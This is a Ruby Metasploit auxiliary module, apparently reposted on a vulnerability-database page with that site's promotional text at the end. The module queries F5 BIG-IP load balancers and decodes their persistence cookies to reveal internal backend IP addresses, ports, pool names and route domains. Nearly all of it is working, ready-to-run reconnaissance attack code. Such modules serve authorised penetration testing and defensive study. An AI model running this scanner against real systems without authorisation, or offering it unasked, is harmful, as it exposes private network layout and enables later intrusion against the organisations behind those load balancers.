`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP Backend Cookie Disclosure',
'Description' => %q{
This module identifies F5 BIG-IP load balancers and leaks backend information
(pool name, routed domain, and backend servers' IP addresses and ports) through
cookies inserted by the BIG-IP systems.
},
'Author' => [
'Thanat0s <thanspam[at]trollprod.org>',
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
'Nikita Oleksov <neoleksov[at]gmail.com>',
'Denis Kolegov <dnkolegov[at]gmail.com>',
'Paul-Emmanuel Raoul <[email protected]>'
],
'References' => [
['URL', 'https://support.f5.com/csp/article/K6917'],
['URL', 'https://support.f5.com/csp/article/K7784'],
['URL', 'https://support.f5.com/csp/article/K14784'],
['URL', 'https://support.f5.com/csp/article/K23254150']
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptInt.new('RPORT', [true, 'The BIG-IP service port', 443]),
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
]
)
end
def change_endianness(value, size = 4)
conversion = nil
if size == 4
conversion = [value].pack('V').unpack('N').first
elsif size == 2
conversion = [value].pack('v').unpack('n').first
end
conversion
end
def cookie_decode(cookie_value)
backend = {}
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
host = Regexp.last_match(1).to_i
port = Regexp.last_match(2).to_i
host = change_endianness(host)
host = Rex::Socket.addr_itoa(host)
port = change_endianness(port, 2)
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
host = Regexp.last_match(1).to_i(16)
port = Regexp.last_match(2).to_i
host = Rex::Socket.addr_itoa(host)
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
host = Regexp.last_match(1).to_i(16)
port = Regexp.last_match(2).to_i
host = Rex::Socket.addr_itoa(host, true)
port = change_endianness(port, 2)
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
host = Regexp.last_match(1).to_i(16)
port = Regexp.last_match(2).to_i
host = Rex::Socket.addr_itoa(host, true)
else
host = nil
port = nil
end
backend[:host] = host.nil? ? nil : host
backend[:port] = port.nil? ? nil : port
backend
end
def fetch_cookie
# Request a page and extract a F5 looking cookie
cookie = {}
res = send_request_raw('method' => 'GET', 'uri' => @uri)
unless res.nil?
# Get the SLB session IDs for all cases:
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
regexp = /
([~.\-\w]+)=(((?:\d+\.){2}\d+)|
(rd\d+o0{20}f{4}\w+o\d{1,5})|
(vi([a-f0-9]{32})\.(\d{1,5}))|
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
(?:$|,|;|\s)
/x
m = res.get_cookies.match(regexp)
cookie[:id] = m.nil? ? nil : m[1]
cookie[:value] = m.nil? ? nil : m[2]
end
cookie
end
def run
requests = datastore['REQUESTS']
backends = []
cookie_name = ''
pool_name = ''
route_domain = ''
@uri = normalize_uri(target_uri.path.to_s)
print_status("Starting request #{@uri}")
(1..requests).each do |i|
cookie = fetch_cookie # Get the cookie
# If the cookie is not found, stop process
if cookie.empty? || cookie[:id].nil?
print_error('F5 BIG-IP load balancing cookie not found')
return nil
end
# Print the cookie name on the first request
if i == 1
cookie_name = cookie[:id]
print_good("F5 BIG-IP load balancing cookie \"#{cookie_name} = #{cookie[:value]}\" found")
if cookie[:id].start_with?('BIGipServer')
pool_name = cookie[:id].split('BIGipServer')[1]
print_good("Load balancing pool name \"#{pool_name}\" found")
end
if cookie[:value].start_with?('rd')
route_domain = cookie[:value].split('rd')[1].split('o')[0]
print_good("Route domain \"#{route_domain}\" found")
end
end
backend = cookie_decode(cookie[:value])
unless backend[:host].nil? || backends.include?(backend)
print_good("Backend #{backend[:host]}:#{backend[:port]} found")
backends.push(backend)
end
end
# Reporting found cookie name in database
unless cookie_name.empty?
report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name)
# Reporting found pool name in database
unless pool_name.empty?
report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name)
end
# Reporting found route domain in database
unless route_domain.empty?
report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain)
end
end
# Reporting found backends in database
unless backends.empty?
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
end
rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError
print_error('Network connection error')
rescue ::OpenSSL::SSL::SSLError
print_error('SSL/TLS connection error')
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation